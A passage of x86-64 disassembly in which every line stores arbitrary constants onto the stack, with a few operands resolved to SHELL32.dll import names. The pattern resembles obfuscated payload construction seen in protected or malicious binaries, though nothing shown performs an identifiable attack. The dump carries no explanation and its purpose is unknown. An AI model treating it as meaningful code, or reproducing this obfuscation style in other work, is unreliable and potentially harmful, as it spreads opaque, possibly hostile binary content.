mov byte [rsp + 0x28d], 0x76
movabs rax, 0x7211136f0e0bf9
mov qword [rsp + 0x8c00], rax
mov dword [rsp + 0x4244], 0x5913fd4b
mov dword [rsp + 0x4248], 0x6451729d
mov eax, 0xd4
mov word [rsp + 0x177c], ax
mov eax, 0x53b
mov word [rsp + 0x1780], ax
mov eax, 0x5c
mov word [rsp + 0x1784], ax
movabs rax, 0x765d208fc7ebc4
mov qword [rsp + 0x8c08], rax
mov dword [rsp + 0x424c], 0x9462
mov dword [rsp + 0x4250], 0x7b0901e4
mov byte [rsp + 0x28e], 0xfb
mov eax, 0x542
mov word [rsp + 0x1788], ax
movabs rax, 0x786e6b12a70118
mov qword [rsp + 0x8c10], rax
mov dword [rsp + 0x4254], 0xbb1
mov eax, 0xa77
mov word [rsp + 0x178c], ax
mov dword [rsp + 0x4258], 0x18a2
movabs rax, 0x78615214a0c4a1
mov qword [rsp + 0x8c18], rax
mov eax, 0x1ba
mov word [rsp + 0x1790], ax
movabs rax, 0x7b3757e4693d69
mov qword [rsp + 0x8c20], rax
mov dword [rsp + 0x425c], 0x2aff97c5
mov dword [rsp + 0x4260], 0x11f5eebc
mov dword [rsp + 0x4264], 0xfa960bf
mov eax, 0x250
mov word [rsp + 0x1794], ax
mov dword [rsp + 0x4268], 0xcde3bd5
movabs rax, 0x72c51ca0db843c
mov qword [rsp + 0x8c28], rax
mov dword [rsp + 0x426c], 0x73f30fd4
mov eax, 0xb7
mov word [rsp + 0x1798], ax
mov eax, 0x56d
mov word [rsp + 0x179c], ax
movabs rax, 0x78255bc2b8b9e3
mov qword [rsp + 0x8c30], rax
mov dword [rsp + 0x4270], 0x3277
mov eax, 0x50f
mov word [rsp + 0x17a0], ax
mov eax, 0x35c
mov word [rsp + 0x17a4], ax
mov dword [rsp + 0x4274], 0x3d5b57ff
mov eax, 0x20f
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x4278], 0x302f
mov eax, 0x3d8
mov word [rsp + 0x17ac], ax
mov byte [rsp + 0x28f], 0x18
mov eax, 0x129
mov word [rsp + 0x17b0], ax
movabs rax, 0x705fcc18815747
mov qword [rsp + 0x8c38], rax
mov eax, 0x1bb
mov word [rsp + 0x17b4], ax
mov eax, 0x189
mov word [rsp + 0x17b8], ax
movabs rax, 0x7bf08386554b4f
mov qword [rsp + 0x8c40], rax
movabs rax, 0x704436eaa9555e
mov qword [rsp + 0x8c48], rax
mov eax, 0x1a0
mov word [rsp + 0x17bc], ax
mov dword [rsp + 0x427c], 0x7f1b
mov eax, 0x575
mov word [rsp + 0x17c0], ax
movabs rax, 0x764679e4720b54
mov qword [rsp + 0x8c50], rax
movabs rax, 0x7993cbae76a1aa
mov qword [rsp + 0x8c58], rax
movabs rax, 0x77d74d622edd2b
mov qword [rsp + 0x8c60], rax
movabs rax, 0x771f17a39d37c7
mov qword [rsp + 0x8c68], rax
movabs rax, 0x740c5cf02f0f12
mov qword [rsp + 0x8c70], rax
mov eax, 0xf9b
mov word [rsp + 0x17c4], ax
mov dword [rsp + 0x4280], 0xe60e
mov eax, 0x1cd
mov word [rsp + 0x17c8], ax
mov eax, 0x7fd
mov word [rsp + 0x17cc], ax
movabs rax, 0x716678348743c2
mov qword [rsp + 0x8c78], rax
mov eax, 0x589
mov word [rsp + 0x17d0], ax
mov byte [rsp + 0x290], SHDoDragDrop
mov dword [rsp + 0x4284], 0x93af
mov byte [rsp + 0x291], 0x39
mov dword [rsp + 0x4288], 0xc4ba53e
mov eax, 0x882
mov word [rsp + 0x17d4], ax
mov dword [rsp + 0x428c], 0x7b09e1a9
mov byte [rsp + 0x292], 0x75
movabs rax, 0x7c443a28dc0f6d
mov qword [rsp + 0x8c80], rax
mov eax, 0x55f
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x4290], 0xbf02
mov byte [rsp + 0x293], 0x4d
movabs rax, 0x7d20e2ae22eaac
mov qword [rsp + 0x8c88], rax
movabs rax, 0x76b6e7252a5bcd
mov qword [rsp + 0x8c90], rax
mov byte [rsp + 0x294], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x295], 0x38
mov eax, 0x76c
mov word [rsp + 0x17dc], ax
mov eax, 0x935
mov word [rsp + 0x17e0], ax
movabs rax, 0x7bc72fbb37b538
mov qword [rsp + 0x8c98], rax
mov eax, 0xefc
mov word [rsp + 0x17e4], ax
movabs rax, 0x76ebf2ef613054
mov qword [rsp + 0x8ca0], rax
mov dword [rsp + 0x4294], 0x4ee1
movabs rax, 0x778a1c80422b46
mov qword [rsp + 0x8ca8], rax
mov byte [rsp + 0x296], 0x96
mov eax, 0x804
mov word [rsp + 0x17e8], ax
mov byte [rsp + 0x297], ILFindLastID
mov dword [rsp + 0x4298], 0x9164
mov byte [rsp + 0x298], 0x37
mov byte [rsp + 0x299], PathYetAnotherMakeUniqueName
mov eax, 0x711
mov word [rsp + 0x17ec], ax
mov eax, 0x12f
mov word [rsp + 0x17f0], ax
movabs rax, 0x7a2c72c0647e11
mov qword [rsp + 0x8cb0], rax
movabs rax, 0x794f81b734e685
mov qword [rsp + 0x8cb8], rax
mov eax, 0x68d
mov word [rsp + 0x17f4], ax
mov eax, 0xee7
mov word [rsp + 0x17f8], ax
movabs rax, 0x76aab9760bfb99
mov qword [rsp + 0x8cc0], rax
mov dword [rsp + 0x429c], 0x770bf47d
movabs rax, 0x70e0b9af41be3d
mov qword [rsp + 0x8cc8], rax
mov eax, 0x2b7
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x42a0], 0xd546
mov dword [rsp + 0x42a4], 0x2f1adab0
mov eax, 0x7a2
mov word [rsp + 0x1800], ax
movabs rax, 0x7b1b6928b39234
mov qword [rsp + 0x8cd0], rax
mov eax, 0xa09
mov word [rsp + 0x1804], ax
mov eax, 0x817
mov word [rsp + 0x1808], ax
movabs rax, 0x757e29358bcce5
mov qword [rsp + 0x8cd8], rax
mov dword [rsp + 0x42a8], 0x868c
mov dword [rsp + 0x42ac], 0x484d24a
mov eax, 0x546
mov word [rsp + 0x180c], ax
mov eax, 0x1d6
mov word [rsp + 0x1810], ax
mov dword [rsp + 0x42b0], 0xd7b3
mov byte [rsp + 0x29a], 6
mov eax, 0x1ba
mov word [rsp + 0x1814], ax
mov eax, 0x18d
mov word [rsp + 0x1818], ax
mov dword [rsp + 0x42b4], 0x7d339724
movabs rax, 0x7d352ecc104219
mov qword [rsp + 0x8ce0], rax
mov byte [rsp + 0x29b], 0x1f
mov eax, 0x535
mov word [rsp + 0x181c], ax
movabs rax, 0x7de7c540aa7fb8
mov qword [rsp + 0x8ce8], rax
mov byte [rsp + 0x29c], 0x94
mov eax, 0xd34
mov word [rsp + 0x1820], ax
movabs rax, 0x7e49c7899a7bd5
mov qword [rsp + 0x8cf0], rax
mov dword [rsp + 0x42b8], 0x7ae74821
mov byte [rsp + 0x29d], 0x3e
movabs rax, 0x7b0c8c986020d3
mov qword [rsp + 0x8cf8], rax
mov eax, 0xe16
mov word [rsp + 0x1824], ax
movabs rax, 0x793b75abbeff50
mov qword [rsp + 0x8d00], rax
movabs rax, 0x7d3195f997d88c
mov qword [rsp + 0x8d08], rax
mov eax, 0xbbc
mov word [rsp + 0x1828], ax
mov byte [rsp + 0x29e], 0x67
mov eax, 0xd86
mov word [rsp + 0x182c], ax
movabs rax, 0x7ce856784af34c
mov qword [rsp + 0x8d10], rax
movabs rax, 0x767a1b7b2298be
mov qword [rsp + 0x8d18], rax
mov dword [rsp + 0x42bc], 0xa483
movabs rax, 0x707dd935e3d916
mov qword [rsp + 0x8d20], rax
mov byte [rsp + 0x29f], 0x41
mov dword [rsp + 0x42c0], 0x71e31c15
movabs rax, 0x78475379f200f7
mov qword [rsp + 0x8d28], rax
mov dword [rsp + 0x42c4], 0x157f
mov eax, 0x550
mov word [rsp + 0x1830], ax
mov byte [rsp + 0x2a0], 0x92
movabs rax, 0x738e3d6257e14c
mov qword [rsp + 0x8d30], rax
mov dword [rsp + 0x42c8], 0xfa94
mov dword [rsp + 0x42cc], 0x92b4
movabs rax, 0x753141c743a6c6
mov qword [rsp + 0x8d38], rax
movabs rax, 0x770671aeb34671
mov qword [rsp + 0x8d40], rax
mov dword [rsp + 0x42d0], 0x359d4424
movabs rax, 0x731f45788c4ebd
mov qword [rsp + 0x8d48], rax
mov byte [rsp + 0x2a1], 0x41
mov dword [rsp + 0x42d4], 0xd943
mov dword [rsp + 0x42d8], 0x6292
mov eax, 0x735
mov word [rsp + 0x1834], ax
mov eax, 0x2b8
mov word [rsp + 0x1838], ax
mov byte [rsp + 0x2a2], 0x5a
mov eax, 0xbd6
mov word [rsp + 0x183c], ax
movabs rax, 0x73086775a70341
mov qword [rsp + 0x8d50], rax
mov dword [rsp + 0x42dc], 0x580a5021
mov eax, 0x30b
mov word [rsp + 0x1840], ax
mov eax, 0x43b
mov word [rsp + 0x1844], ax
movabs rax, 0x747ff7dee0bfb6
mov qword [rsp + 0x8d58], rax
mov byte [rsp + 0x2a3], 0x33
mov dword [rsp + 0x42e0], 0xf743
movabs rax, 0x7be4fd3a5c10b8
mov qword [rsp + 0x8d60], rax
mov dword [rsp + 0x42e4], 0x2b9b4c6d
mov dword [rsp + 0x42e8], 0x7930
mov dword [rsp + 0x42ec], 0xb8a2
mov eax, 0x2a1
mov word [rsp + 0x1848], ax
mov eax, 0x9b
mov word [rsp + 0x184c], ax
movabs rax, 0x7b36fd6a4a19d5
mov qword [rsp + 0x8d68], rax
mov dword [rsp + 0x42f0], 0xe739
mov eax, 0x688
mov word [rsp + 0x1850], ax
movabs rax, 0x78870f2096c713
mov qword [rsp + 0x8d70], rax
movabs rax, 0x7c98aa4d811210
mov qword [rsp + 0x8d78], rax
mov dword [rsp + 0x42f4], 0x723d47c8
movabs rax, 0x7be37407678cf0
mov qword [rsp + 0x8d80], rax
mov byte [rsp + 0x2a4], 0x5e
mov dword [rsp + 0x42f8], 0x138276a2
mov byte [rsp + 0x2a5], 2
movabs rax, 0x7e72046ab8a678
mov qword [rsp + 0x8d88], rax
mov dword [rsp + 0x42fc], 0x2b56ca28
mov eax, 0x4f2
mov word [rsp + 0x1854], ax
movabs rax, 0x7b35656f5d08cd
mov qword [rsp + 0x8d90], rax
mov dword [rsp + 0x4300], 0xb434
mov dword [rsp + 0x4304], 0xfbdc
mov eax, 0x1a7
mov word [rsp + 0x1858], ax
mov byte [rsp + 0x2a6], 0xeb
mov dword [rsp + 0x4308], 0x1107
movabs rax, 0x72f52d427ea4ca
mov qword [rsp + 0x8d98], rax
mov byte [rsp + 0x2a7], 0x1c
movabs rax, 0x78cf5bbfd61e0b
mov qword [rsp + 0x8da0], rax
movabs rax, 0x7e127f4d31a16b
mov qword [rsp + 0x8da8], rax
mov dword [rsp + 0x430c], 0xae64
mov dword [rsp + 0x4310], 0x30446ccf
mov byte [rsp + 0x2a8], 0x32
mov eax, 0x52b
mov word [rsp + 0x185c], ax
movabs rax, 0x704895a03bc370
mov qword [rsp + 0x8db0], rax
movabs rax, 0x70028401010fa8
mov qword [rsp + 0x8db8], rax
mov byte [rsp + 0x2a9], 0x27
mov eax, 0xbc3
mov word [rsp + 0x1860], ax
mov dword [rsp + 0x4314], 0x2828
movabs rax, 0x798f26c809b0b1
mov qword [rsp + 0x8dc0], rax
mov eax, 0x562
mov word [rsp + 0x1864], ax
mov dword [rsp + 0x4318], 0x671b
mov byte [rsp + 0x2aa], 0xd3
mov byte [rsp + 0x2ab], 0x2a
mov dword [rsp + 0x431c], 0x27ea4a8e
mov eax, 0x634
mov word [rsp + 0x1868], ax
movabs rax, 0x78e69396a50ea8
mov qword [rsp + 0x8dc8], rax
mov eax, 0x7df
mov word [rsp + 0x186c], ax
mov eax, 0x8b
mov word [rsp + 0x1870], ax
mov byte [rsp + 0x2ac], SHDoDragDrop
movabs rax, 0x7a5da94a0bcb5f
mov qword [rsp + 0x8dd0], rax
movabs rax, 0x7eb000b6ffd346
mov qword [rsp + 0x8dd8], rax
mov byte [rsp + 0x2ad], SHSetInstanceExplorer
movabs rax, 0x79635c3563c84d
mov qword [rsp + 0x8de0], rax
mov eax, 0xb88
mov word [rsp + 0x1874], ax
movabs rax, 0x75dd40dc325142
mov qword [rsp + 0x8de8], rax
mov eax, 0xcbe
mov word [rsp + 0x1878], ax
movabs rax, 0x76ef095c431ce2
mov qword [rsp + 0x8df0], rax
movabs rax, 0x75c43977e93f6f
mov qword [rsp + 0x8df8], rax
mov dword [rsp + 0x4320], 0xef83
movabs rax, 0x7711afbd253075
mov qword [rsp + 0x8e00], rax
mov eax, 0x3eb
mov word [rsp + 0x187c], ax
mov eax, 0x2f1
mov word [rsp + 0x1880], ax
mov eax, 0x1bd
mov word [rsp + 0x1884], ax
mov eax, 0xd90
mov word [rsp + 0x1888], ax
mov eax, 0x112
mov word [rsp + 0x188c], ax
mov eax, 0xd57
mov word [rsp + 0x1890], ax
mov byte [rsp + 0x2ae], 0x5d
mov byte [rsp + 0x2af], ILIsEqual
movabs rax, 0x76ea993e389546
mov qword [rsp + 0x8e08], rax
mov eax, 0x902
mov word [rsp + 0x1894], ax
mov byte [rsp + 0x2b0], 7
mov byte [rsp + 0x2b1], 0x9c
mov byte [rsp + 0x2b2], 0x64
mov eax, 0x266
mov word [rsp + 0x1898], ax
movabs rax, 0x7b28963c91f18b
mov qword [rsp + 0x8e10], rax
mov eax, 0x35e
mov word [rsp + 0x189c], ax
movabs rax, 0x72025f54138bc4
mov qword [rsp + 0x8e18], rax
movabs rax, 0x7d7e94c1cf89af
mov qword [rsp + 0x8e20], rax
mov eax, 0x752
mov word [rsp + 0x18a0], ax
movabs rax, 0x7ca33444e313a5
mov qword [rsp + 0x8e28], rax
mov byte [rsp + 0x2b3], 0x79
mov dword [rsp + 0x4324], 0x14b6
mov dword [rsp + 0x4328], 0x5e6f7d37
movabs rax, 0x72e83f633839e2
mov qword [rsp + 0x8e30], rax
mov eax, 0x327
mov word [rsp + 0x18a4], ax
mov byte [rsp + 0x2b4], 0x27
movabs rax, 0x7eb21e02121e69
mov qword [rsp + 0x8e38], rax
mov eax, 0x437
mov word [rsp + 0x18a8], ax
mov eax, 0x8d2
mov word [rsp + 0x18ac], ax
movabs rax, 0x75f2ad3d329ccc
mov qword [rsp + 0x8e40], rax
mov eax, 0x6b6
mov word [rsp + 0x18b0], ax
movabs rax, 0x7487588750ddf7
mov qword [rsp + 0x8e48], rax
movabs rax, 0x7826fc424d25cf
mov qword [rsp + 0x8e50], rax
mov dword [rsp + 0x432c], 0x4339
mov eax, 0x9b5
mov word [rsp + 0x18b4], ax
mov eax, 0xf20
mov word [rsp + 0x18b8], ax
mov byte [rsp + 0x2b5], 0xe9
mov eax, 0x64f
mov word [rsp + 0x18bc], ax
movabs rax, 0x77b106993bc440
mov qword [rsp + 0x8e58], rax
mov eax, 0x5a3
mov word [rsp + 0x18c0], ax
movabs rax, 0x79b9e4478c6def
mov qword [rsp + 0x8e60], rax
mov eax, 0x42a
mov word [rsp + 0x18c4], ax
mov eax, 0x3fa
mov word [rsp + 0x18c8], ax
mov dword [rsp + 0x4330], 0xd6dd
mov dword [rsp + 0x4334], 0x657049b4
movabs rax, 0x787e0e11441fbc
mov qword [rsp + 0x8e68], rax
movabs rax, 0x70c105075f095c
mov qword [rsp + 0x8e70], rax
movabs rax, 0x7df8fad56e216e
mov qword [rsp + 0x8e78], rax
mov eax, 0x57e
mov word [rsp + 0x18cc], ax
movabs rax, 0x7bf731070c425a
mov qword [rsp + 0x8e80], rax
movabs rax, 0x73995d8115ae76
mov qword [rsp + 0x8e88], rax
movabs rax, 0x78a5ffaa247cd0
mov qword [rsp + 0x8e90], rax
mov dword [rsp + 0x4338], 0x3ead
mov eax, 0x7da
mov word [rsp + 0x18d0], ax
mov dword [rsp + 0x433c], 0xb288
mov eax, 0x365
mov word [rsp + 0x18d4], ax
movabs rax, 0x7425f087fe6955
mov qword [rsp + 0x8e98], rax
movabs rax, 0x77adc0110d17e0
mov qword [rsp + 0x8ea0], rax
movabs rax, 0x7a188df56ac423
mov qword [rsp + 0x8ea8], rax
mov byte [rsp + 0x2b6], 0x6a
mov byte [rsp + 0x2b7], 0x26
mov eax, 0x296
mov word [rsp + 0x18d8], ax
mov dword [rsp + 0x4340], 0x490
mov byte [rsp + 0x2b8], 0xa0
mov byte [rsp + 0x2b9], 0x6c
mov eax, 0x49b
mov word [rsp + 0x18dc], ax
mov byte [rsp + 0x2ba], 0x2d
movabs rax, 0x73eef429a7fbc2
mov qword [rsp + 0x8eb0], rax
movabs rax, 0x71834653231824
mov qword [rsp + 0x8eb8], rax
mov byte [rsp + 0x2bb], 0x98
mov dword [rsp + 0x4344], 0x449c8258
movabs rax, 0x753ca184c67279
mov qword [rsp + 0x8ec0], rax
mov eax, 0x65b
mov word [rsp + 0x18e0], ax
mov eax, 0x255
mov word [rsp + 0x18e4], ax
movabs rax, 0x7bc6dafeabfe6d
mov qword [rsp + 0x8ec8], rax
mov byte [rsp + 0x2bc], 0x67
mov dword [rsp + 0x4348], 0x1f2b
mov eax, 0x2e5
mov word [rsp + 0x18e8], ax
mov dword [rsp + 0x434c], 0xfff
mov eax, 0x711
mov word [rsp + 0x18ec], ax
mov byte [rsp + 0x2bd], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x4350], 0xe749db1
mov byte [rsp + 0x2be], 5
mov byte [rsp + 0x2bf], 0x1b
movabs rax, 0x7bd30558927287
mov qword [rsp + 0x8ed0], rax
movabs rax, 0x7567b1d47508d9
mov qword [rsp + 0x8ed8], rax
mov dword [rsp + 0x4354], 0xfe28
movabs rax, 0x7337591a3f85f1
mov qword [rsp + 0x8ee0], rax
movabs rax, 0x70f280e8900686
mov qword [rsp + 0x8ee8], rax
mov dword [rsp + 0x4358], 0xe001
mov byte [rsp + 0x2c0], 0x73
mov eax, 0x2d2
mov word [rsp + 0x18f0], ax
mov byte [rsp + 0x2c1], 0x5d
mov eax, 0x77a
mov word [rsp + 0x18f4], ax
movabs rax, 0x7ac7955a648cae
mov qword [rsp + 0x8ef0], rax
mov dword [rsp + 0x435c], 0x21e6fccc
mov dword [rsp + 0x4360], 0x595f5ec5
mov eax, 0xc8b
mov word [rsp + 0x18f8], ax
mov byte [rsp + 0x2c2], 0x4d
mov dword [rsp + 0x4364], 0x65e67a81
movabs rax, 0x780b0f01fb8471
mov qword [rsp + 0x8ef8], rax
mov dword [rsp + 0x4368], 0x2e8b9f0b
mov eax, 0x478
mov word [rsp + 0x18fc], ax
movabs rax, 0x771f1c1fc2131c
mov qword [rsp + 0x8f00], rax
movabs rax, 0x7d57c8c9233f6b
mov qword [rsp + 0x8f08], rax
mov dword [rsp + 0x436c], 0x5e1e
mov eax, 0x200
mov word [rsp + 0x1900], ax
movabs rax, 0x70f1deb5cccc94
mov qword [rsp + 0x8f10], rax
mov eax, 0x7de
mov word [rsp + 0x1904], ax
movabs rax, 0x76fd5f9d8ac9e7
mov qword [rsp + 0x8f18], rax
movabs rax, 0x7dffaae8651263
mov qword [rsp + 0x8f20], rax
movabs rax, 0x774f65d5fa9a98
mov qword [rsp + 0x8f28], rax
mov dword [rsp + 0x4370], 0x6b3805ec
mov byte [rsp + 0x2c3], 0xa
mov dword [rsp + 0x4374], 0x9532
mov byte [rsp + 0x2c4], 0x62
movabs rax, 0x7822fab6b71ce0
mov qword [rsp + 0x8f30], rax
mov eax, 0x537
mov word [rsp + 0x1908], ax
mov eax, 0x4f9
mov word [rsp + 0x190c], ax
movabs rax, 0x7848f47bbc1246
mov qword [rsp + 0x8f38], rax
movabs rax, 0x7d05e55adda577
mov qword [rsp + 0x8f40], rax
mov byte [rsp + 0x2c5], 0x3b
mov byte [rsp + 0x2c6], 0x38
mov eax, 0x2eb
mov word [rsp + 0x1910], ax
movabs rax, 0x7da28be88e71c2
mov qword [rsp + 0x8f48], rax
mov byte [rsp + 0x2c7], 0x7d
movabs rax, 0x7ee960a4bc0d3d
mov qword [rsp + 0x8f50], rax
mov eax, 0x2c4
mov word [rsp + 0x1914], ax
mov byte [rsp + 0x2c8], PathYetAnotherMakeUniqueName
mov eax, 0x2a
mov word [rsp + 0x1918], ax
mov dword [rsp + 0x4378], 0x359
mov eax, 0x374
mov word [rsp + 0x191c], ax
mov byte [rsp + 0x2c9], SHSetInstanceExplorer
mov eax, 0x982
mov word [rsp + 0x1920], ax
mov eax, 0xa44
mov word [rsp + 0x1924], ax
mov dword [rsp + 0x437c], 0x10f
movabs rax, 0x7b83ff4acd0d16
mov qword [rsp + 0x8f58], rax
movabs rax, 0x7d463ac5642c1a
mov qword [rsp + 0x8f60], rax
mov eax, 0x758
mov word [rsp + 0x1928], ax
mov eax, 0x1af
mov word [rsp + 0x192c], ax
movabs rax, 0x7671f7e76c58bc
mov qword [rsp + 0x8f68], rax
movabs rax, 0x79514cd3297db0
mov qword [rsp + 0x8f70], rax
mov eax, 0x8c
mov word [rsp + 0x1930], ax
mov eax, 0x32b
mov word [rsp + 0x1934], ax
mov byte [rsp + 0x2ca], 0xf8
mov eax, 0x8af
mov word [rsp + 0x1938], ax
mov dword [rsp + 0x4380], 0xefff
mov byte [rsp + 0x2cb], 0x63
mov eax, 0x219
mov word [rsp + 0x193c], ax
mov eax, 0x34d
mov word [rsp + 0x1940], ax
movabs rax, 0x7cecd1632e1b15
mov qword [rsp + 0x8f78], rax
mov eax, 0xa36
mov word [rsp + 0x1944], ax
movabs rax, 0x780818a07745dc
mov qword [rsp + 0x8f80], rax
mov eax, 0xb9a
mov word [rsp + 0x1948], ax
movabs rax, 0x72397a16aa646f
mov qword [rsp + 0x8f88], rax
movabs rax, 0x7cde1d3b9d2113
mov qword [rsp + 0x8f90], rax
mov dword [rsp + 0x4384], 0x29419f6a
mov dword [rsp + 0x4388], 0x14c005af
mov byte [rsp + 0x2cc], 0x42
mov dword [rsp + 0x438c], 0x44b4b380
mov eax, 0x642
mov word [rsp + 0x194c], ax
mov eax, 0x7de
mov word [rsp + 0x1950], ax
mov dword [rsp + 0x4390], 0x48ba
movabs rax, 0x7035e0791ca987
mov qword [rsp + 0x8f98], rax
movabs rax, 0x74a1358c70a47e
mov qword [rsp + 0x8fa0], rax
mov eax, 0x68f
mov word [rsp + 0x1954], ax
mov dword [rsp + 0x4394], 0x9ed9
mov dword [rsp + 0x4398], 0x3100
mov byte [rsp + 0x2cd], SHDoDragDrop
movabs rax, 0x730e1b9f0e11cc
mov qword [rsp + 0x8fa8], rax
mov dword [rsp + 0x439c], 0xcd6f
mov byte [rsp + 0x2ce], 0xd8
movabs rax, 0x76cfbfd2ac8d4e
mov qword [rsp + 0x8fb0], rax
mov byte [rsp + 0x2cf], 0x7b
movabs rax, 0x7d8624ab63e2e0
mov qword [rsp + 0x8fb8], rax
movabs rax, 0x77418057ee20c8
mov qword [rsp + 0x8fc0], rax
movabs rax, 0x7ad0c89226b2fc
mov qword [rsp + 0x8fc8], rax
mov byte [rsp + 0x2d0], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x2d1], 0x1a
mov dword [rsp + 0x43a0], 0xfd08
mov eax, 0xe3d
mov word [rsp + 0x1958], ax
mov byte [rsp + 0x2d2], 0x6f
mov dword [rsp + 0x43a4], 0xff66
mov dword [rsp + 0x43a8], 0x727bc0c1
movabs rax, 0x7236438a6021d8
mov qword [rsp + 0x8fd0], rax
movabs rax, 0x70824815d0d146
mov qword [rsp + 0x8fd8], rax
mov eax, 0x3c5
mov word [rsp + 0x195c], ax
mov eax, 0x167
mov word [rsp + 0x1960], ax
mov byte [rsp + 0x2d3], 0x66
mov byte [rsp + 0x2d4], 0x5e
mov byte [rsp + 0x2d5], 0x3c
mov byte [rsp + 0x2d6], 0x8e
mov dword [rsp + 0x43ac], 0x4b0d270
movabs rax, 0x7afa5673c2379d
mov qword [rsp + 0x8fe0], rax
mov byte [rsp + 0x2d7], 0x26
movabs rax, 0x74e89e54fcb3d0
mov qword [rsp + 0x8fe8], rax
movabs rax, 0x7c5e335f8d8526
mov qword [rsp + 0x8ff0], rax
movabs rax, 0x7a7424256b0049
mov qword [rsp + 0x8ff8], rax
mov eax, 0x594
mov word [rsp + 0x1964], ax
mov dword [rsp + 0x43b0], 0x65d8095
mov eax, 0x2a7
mov word [rsp + 0x1968], ax
mov byte [rsp + 0x2d8], 0x73
movabs rax, 0x7b7efe2b6b495a
mov qword [rsp + 0x9000], rax
movabs rax, 0x78457a0cc3f26b
mov qword [rsp + 0x9008], rax
mov eax, 0xbdb
mov word [rsp + 0x196c], ax
mov byte [rsp + 0x2d9], 0x2c
mov byte [rsp + 0x2da], 0x9b
mov eax, 0x12e
mov word [rsp + 0x1970], ax
mov dword [rsp + 0x43b4], 0xb99287d
mov eax, 0x5d8
mov word [rsp + 0x1974], ax
mov eax, 0x528
mov word [rsp + 0x1978], ax
movabs rax, 0x739ed032862522
mov qword [rsp + 0x9010], rax
movabs rax, 0x791c62167912d2
mov qword [rsp + 0x9018], rax
movabs rax, 0x7ce35d26f88f49
mov qword [rsp + 0x9020], rax
mov dword [rsp + 0x43b8], 0x668d
mov eax, 0x660
mov word [rsp + 0x197c], ax
mov byte [rsp + 0x2db], 0x2c
mov byte [rsp + 0x2dc], 0x28
mov eax, 0x9c
mov word [rsp + 0x1980], ax
mov byte [rsp + 0x2dd], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x43bc], 0x4e19
mov dword [rsp + 0x43c0], 0x8104
movabs rax, 0x7320f2a1d812d4
mov qword [rsp + 0x9028], rax
movabs rax, 0x720514d91264c1
mov qword [rsp + 0x9030], rax
mov eax, 0xd51
mov word [rsp + 0x1984], ax
mov eax, 0x503
mov word [rsp + 0x1988], ax
mov dword [rsp + 0x43c4], 0xbb53
movabs rax, 0x77aa5b4379e4c4
mov qword [rsp + 0x9038], rax
mov dword [rsp + 0x43c8], 0x1e9fa726
movabs rax, 0x7e7460edefaf4d
mov qword [rsp + 0x9040], rax
mov eax, 0x6e
mov word [rsp + 0x198c], ax
mov eax, 0xc64
mov word [rsp + 0x1990], ax
mov eax, 0x22b
mov word [rsp + 0x1994], ax
movabs rax, 0x7ef7b5bbcc05ae
mov qword [rsp + 0x9048], rax
mov byte [rsp + 0x2de], 1
mov eax, 0xaa
mov word [rsp + 0x1998], ax
mov dword [rsp + 0x43cc], 0x42656d28
mov dword [rsp + 0x43d0], 0x3fee
mov eax, 0x287
mov word [rsp + 0x199c], ax
mov eax, 0x458
mov word [rsp + 0x19a0], ax
mov eax, 0x292
mov word [rsp + 0x19a4], ax
movabs rax, 0x7a7b4d223a8f9c
mov qword [rsp + 0x9050], rax
mov eax, 0x59e
mov word [rsp + 0x19a8], ax
mov byte [rsp + 0x2df], 0x64
movabs rax, 0x7389ae62b66bbb
mov qword [rsp + 0x9058], rax
mov dword [rsp + 0x43d4], 0xd012
mov dword [rsp + 0x43d8], 0x8fba
mov eax, 0xcf9
mov word [rsp + 0x19ac], ax
mov dword [rsp + 0x43dc], 0xb32d
mov byte [rsp + 0x2e0], PathYetAnotherMakeUniqueName
movabs rax, 0x7087c5db775629
mov qword [rsp + 0x9060], rax
movabs rax, 0x78e360f4f81a04
mov qword [rsp + 0x9068], rax
mov dword [rsp + 0x43e0], 0x2740b376
movabs rax, 0x7ca3fc833f7399
mov qword [rsp + 0x9070], rax
mov dword [rsp + 0x43e4], 0x60d260db
mov eax, 0xab9
mov word [rsp + 0x19b0], ax
mov byte [rsp + 0x2e1], 0x43
mov eax, 0xf49
mov word [rsp + 0x19b4], ax
mov byte [rsp + 0x2e2], 0x2b
mov byte [rsp + 0x2e3], 0x37
movabs rax, 0x7836538709597d
mov qword [rsp + 0x9078], rax
mov eax, 0x791
mov word [rsp + 0x19b8], ax
movabs rax, 0x76a949a11a2b60
mov qword [rsp + 0x9080], rax
mov eax, 0xdfe
mov word [rsp + 0x19bc], ax
mov eax, 0xf10
mov word [rsp + 0x19c0], ax
movabs rax, 0x72387386403578
mov qword [rsp + 0x9088], rax
mov dword [rsp + 0x43e8], 0x6fbcb3d0
movabs rax, 0x736f7c55c52cc8
mov qword [rsp + 0x9090], rax
movabs rax, 0x783a762849b603
mov qword [rsp + 0x9098], rax
mov eax, 0x926
mov word [rsp + 0x19c4], ax
mov dword [rsp + 0x43ec], 0x5974
movabs rax, 0x7986d12637fb5f
mov qword [rsp + 0x90a0], rax
mov byte [rsp + 0x2e4], reloc.SHELL32.dll_ILFindLastID
mov eax, 0x30e
mov word [rsp + 0x19c8], ax
movabs rax, 0x755499fbeb0f57
mov qword [rsp + 0x90a8], rax
mov eax, 0x8c0
mov word [rsp + 0x19cc], ax
movabs rax, 0x7e54b7059e95a2
mov qword [rsp + 0x90b0], rax
movabs rax, 0x7050d624eec8d1
mov qword [rsp + 0x90b8], rax
mov dword [rsp + 0x43f0], 0x34
mov eax, 0x5bd
mov word [rsp + 0x19d0], ax
movabs rax, 0x7e6a3c4de7ebaf
mov qword [rsp + 0x90c0], rax
mov byte [rsp + 0x2e5], 0x2a
mov eax, 0x62e
mov word [rsp + 0x19d4], ax
movabs rax, 0x74ad1c1d7798cd
mov qword [rsp + 0x90c8], rax
mov dword [rsp + 0x43f4], 0x6df5
mov dword [rsp + 0x43f8], 0x50d3
movabs rax, 0x758854f669979a
mov qword [rsp + 0x90d0], rax
mov eax, 0x654
mov word [rsp + 0x19d8], ax
mov byte [rsp + 0x2e6], 0xd5
mov eax, 0x4e1
mov word [rsp + 0x19dc], ax
movabs rax, 0x7951e14ef9a8c9
mov qword [rsp + 0x90d8], rax
mov eax, 0xd2c
mov word [rsp + 0x19e0], ax
mov byte [rsp + 0x2e7], 0x65
mov eax, 0x8d
mov word [rsp + 0x19e4], ax
mov byte [rsp + 0x2e8], 0x7c
